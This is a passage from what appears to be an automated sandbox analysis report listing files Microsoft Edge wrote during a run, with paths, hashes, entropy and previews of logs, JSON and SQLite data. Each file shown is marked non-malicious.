Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.107874163302254
Encrypted:	false
SSDEEP:	6:HH2HuEq2PN723oH+Tcwt8NIFUt8YH2HulZmw+YH2Hu3kwON723oH+Tcwt8+eLJ:jEvVaYebpFUt8il/+i35OaYebqJ
MD5:	F191FDE63795842A16A4B10509DCDC45
SHA1:	1C94C20CA9B62294648002284B0F0B3DFB20BB82
SHA-256:	FB32CB3AF682F2C219C80F7B867412F33ABEC640B99F4AB35BE7E2CBDC8B39D9
SHA-512:	1E9D9BDAEABF107F19F34BB5050D918318966801E99ED4F652EEAEC97B5403734C685C4DFD90C8CF0A60A347482B15CBF7598DFDE3D0497BA773DB9429F47997
Malicious:	false
Preview:	2024/11/28-09:17:31.322 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/28-09:17:31.322 1ec0 Recovering log #3.2024/11/28-09:17:31.322 1ec0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.107874163302254
Encrypted:	false
SSDEEP:	6:HH2HuEq2PN723oH+Tcwt8NIFUt8YH2HulZmw+YH2Hu3kwON723oH+Tcwt8+eLJ:jEvVaYebpFUt8il/+i35OaYebqJ
MD5:	F191FDE63795842A16A4B10509DCDC45
SHA1:	1C94C20CA9B62294648002284B0F0B3DFB20BB82
SHA-256:	FB32CB3AF682F2C219C80F7B867412F33ABEC640B99F4AB35BE7E2CBDC8B39D9
SHA-512:	1E9D9BDAEABF107F19F34BB5050D918318966801E99ED4F652EEAEC97B5403734C685C4DFD90C8CF0A60A347482B15CBF7598DFDE3D0497BA773DB9429F47997
Malicious:	false
Preview:	2024/11/28-09:17:31.322 1ec0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/28-09:17:31.322 1ec0 Recovering log #3.2024/11/28-09:17:31.322 1ec0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:6vtFlljq7A/mhWJFuQ3yy7IOWU7Yv4dweytllrE9SFcTp4AGbNCV9RUIGI:6k75fO9Yv4d0Xi99pEYh
MD5:	45DC0711E8A8256E6B9800DED6421F04
SHA1:	91EB2D34E091543D66987EF8D293B06DAE32C8E9
SHA-256:	9C78E9955A8169A7548D7395BD6DCDA870B6E3E153FD3BB6C188CBA9DF7D5D21
SHA-512:	04117479944C03C233DAC47D72354DE7EA6C70B826291D23A2CAE572CA708A5F7DCB5972EA32F5315815EBC0393536C92E16C72601AB8E85BAF4AD563A2206DA
Malicious:	false
Preview:	.............q.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481262007522295
Encrypted:	false
SSDEEP:	384:aj9P0LEcAjlrP/KbtpQkQerE773pL9hCgam6ItRKToaAu:adyKlrP/se2E7Pv9RKcC
MD5:	DF0D2FCFE368ECEEB78C13B004DAEDBD
SHA1:	1E9121546F3F0758130C2A37F274C56BCE00B702
SHA-256:	91ED1A0AB9A23419FBD76C4A2435EDC1CCBAB5FC481528342F34159558CA8ABB
SHA-512:	13179A41D9084C4778EFD801A91E2D18B87C5BA662BF08170564DEB9742BD0F93B00D538413B6E6A8D38171E7EFC190E17EAB09C3B396835FC02E9F6A2E5E474
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.277972515967327
Encrypted:	false
SSDEEP:	12:BHL+vVaYeb8rcHEZrELFUt8GW/+FLV5OaYeb8rcHEZrEZSJ:qVaYeb8nZrExg8KOaYeb8nZrEZe
MD5:	636C8A1DC49E7B9FCA3B0E89E1AC6C35
SHA1:	7A6E7A1AE9D06B8928B36EAB2F28B3ABE42E2631
SHA-256:	001D17D57F4193A61E7D5FC4011C505ED5F2679AD233D750902A5EFA1E48A741
SHA-512:	434AED47167946FBB5C13EB3832DAF6FE4D4059C983626D3510908794E86C6AFAB58A289DAA1BF0AF3CA854B1848DCA5E4B1DF4960F8C3169751702597E0F988
Malicious:	false
Preview:	2024/11/28-09:17:34.766 1ecc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/28-09:17:34.767 1ecc Recovering log #3.2024/11/28-09:17:34.767 1ecc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.277972515967327
Encrypted:	false
SSDEEP:	12:BHL+vVaYeb8rcHEZrELFUt8GW/+FLV5OaYeb8rcHEZrEZSJ:qVaYeb8nZrExg8KOaYeb8nZrEZe
MD5:	636C8A1DC49E7B9FCA3B0E89E1AC6C35
SHA1:	7A6E7A1AE9D06B8928B36EAB2F28B3ABE42E2631
SHA-256:	001D17D57F4193A61E7D5FC4011C505ED5F2679AD233D750902A5EFA1E48A741
SHA-512:	434AED47167946FBB5C13EB3832DAF6FE4D4059C983626D3510908794E86C6AFAB58A289DAA1BF0AF3CA854B1848DCA5E4B1DF4960F8C3169751702597E0F988
Malicious:	false
Preview:	2024/11/28-09:17:34.766 1ecc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/28-09:17:34.767 1ecc Recovering log #3.2024/11/28-09:17:34.767 1ecc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1468
Entropy (8bit):	5.668317438326333
Encrypted:	false
SSDEEP:	24:6ZWQ2NWrWslH3QlkZ8+2bxgnkh769XZHFV03y1x49NcgFHHmb2cytXoRHDMyG:6ZF2NmWy2kKjWkh769XZHFV03Sx49RHh
MD5:	829F3C9A36A1A8F37BB797F4C49818C9
SHA1:	63EBFB16A3A4928019C82C923ADDC3514BCD4D48
SHA-256:	1DC8790881316807FA18FFC369524015CD466247A1A0D6B51253511A167C8F1B
SHA-512:	A429561CAD2E18CB8903022411D27E6908FAEEA3B636BDF8211018D8E4E0B2FCD8D4D1225D097BBFE3BB26569A648EBA09D353A5894B01A1EF0139FC156E2B1B
Malicious:	false
Preview:	..d.y................VERSION.1..META:https://ntp.msn.com..........$."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}{6..5................META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult@.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":2640}.!_https://ntp.msn.com..LastKnownPV..1732803479196.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732803481919.._https://ntp.msn.com..MUID!.03480115B31365D60A331450B23A64BD.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732803479293,"schedule":[-1,-1,-1,-1,14,9,20],"scheduleFixed":[-1,-1,-1,-1,14,9,20],"simpleSchedule":[10,18,38,9,30,52,46]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732803479160.&_https://ntp.msn.com..oneSvcUniTunMode..header.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://n

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.150949372279341
Encrypted:	false
SSDEEP:	6:HHPQq2PN723oH+Tcwt8a2jMGIFUt8YH66VXZmw+YH9OrkwON723oH+Tcwt8a2jM4:4vVaYeb8EFUt856h/+Hr5OaYeb8bJ
MD5:	75CEC0A9B48E612651DAB8E2A905D0BF
SHA1:	1915245B284FDFFC6D2773553810B3ACB7C9FFA0
SHA-256:	401082ECE86140FAAF8A04498AE99DA3F30A7FDE620CC5F4E43E396D0936AFFE
SHA-512:	351840744EF7D1699ABBD5FE7998940488F39B07C01E6388CD89598E0ACE5663BA6996D9A54C7791CBF66C08BB0EE7980AC82C3A8E34ADA41F8755CAB86C43F1
Malicious:	false
Preview:	2024/11/28-09:17:30.769 1d20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/28-09:17:30.770 1d20 Recovering log #3.2024/11/28-09:17:30.773 1d20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.150949372279341
Encrypted:	false
SSDEEP:	6:HHPQq2PN723oH+Tcwt8a2jMGIFUt8YH66VXZmw+YH9OrkwON723oH+Tcwt8a2jM4:4vVaYeb8EFUt856h/+Hr5OaYeb8bJ
MD5:	75CEC0A9B48E612651DAB8E2A905D0BF
SHA1:	1915245B284FDFFC6D2773553810B3ACB7C9FFA0
SHA-256:	401082ECE86140FAAF8A04498AE99DA3F30A7FDE620CC5F4E43E396D0936AFFE
SHA-512:	351840744EF7D1699ABBD5FE7998940488F39B07C01E6388CD89598E0ACE5663BA6996D9A54C7791CBF66C08BB0EE7980AC82C3A8E34ADA41F8755CAB86C43F1
Malicious:	false
Preview:	2024/11/28-09:17:30.769 1d20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/28-09:17:30.770 1d20 Recovering log #3.2024/11/28-09:17:30.773 1d20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\09ed5085-9953-4c36-a5a6-0a99ac27df79.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\154c6960-8eb6-4fc3-b674-881702c7ad71.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2ee559ae-2090-4d71-811e-25d362ea9d48.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3a2c69d2-c4cb-4ea5-ac91-4a1edb2b3955.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.304692385168653
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsvZVMdmRdsmQZFRudFGRw6C1E6maPsRdsFUSyZC5mWQYhbA77:YcCpfgCzsRtsmQfc7akEsFU/CcYhbm
MD5:	7EB7F045E9646378EA683595D97A2D4A
SHA1:	EE2271A209DEB097A5A1A48BD0D347EF575EB585
SHA-256:	95627A5E4A558E115280B7BF7E25474F1AB68E9CD5A71A72852A90BBE6BAE048
SHA-512:	26D913F97A4DB099BF9D0A33224ED09AF156CA1B4BD0F94D9880538C82E5737522A9F977726E411428F00A5A02C886090F15C65BF75A921DB2E58E7B61D4F8D7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379869054463045","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379869059095515","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8b013bdd-f270-4931-8c4f-1a15f3e5a078.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 9, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7691328217260174
Encrypted:	false
SSDEEP:	192:igiSBF5/9J+mzJFHlRypJypyO/tXcE0gJVb:iZuvFJ+mzJFFppyOVXN0gJVb
MD5:	BA9043FC7F434F81FB638A12FE1A528C
SHA1:	B1436C9EB6C0C7BCC4C4E92B1B3B3C459414ED5C
SHA-256:	1FF7928749BB1808465D9A940B92F9549947F98C8127FFA8137E2BF4EF574CBF
SHA-512:	D568912D411DBDDD6E4ECD7282E0A42E2F65F7FD00C01DEF1EF48FAFA85EFFEE7F4963689AF5587644250A14CF250D4DABF1697FFFF4B78008B2B7F2B411F64C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4cd9d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.378763963149454
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvS68k7uP3sCfkdvpyg1a:OIEumQv8m1ccnvS68lEGOQb
MD5:	F8685CD657DB2671151073C481B0D909
SHA1:	61855B15189FBBC893526814D408E0B6B1975CC7
SHA-256:	77ADF150D636F11414236FCC52731235A50AE38A8CD2B4A74D560B01B618BBFA
SHA-512:	E9D04150AEBDC78145B1966E8E444A4B28F5F052B2FEA5FE2BE4404BBF22B6C67BA62C6B149C0BEF9C05DB7777FBD59E681305B35BC752A07FCF9C028F7BA46D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3be11.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
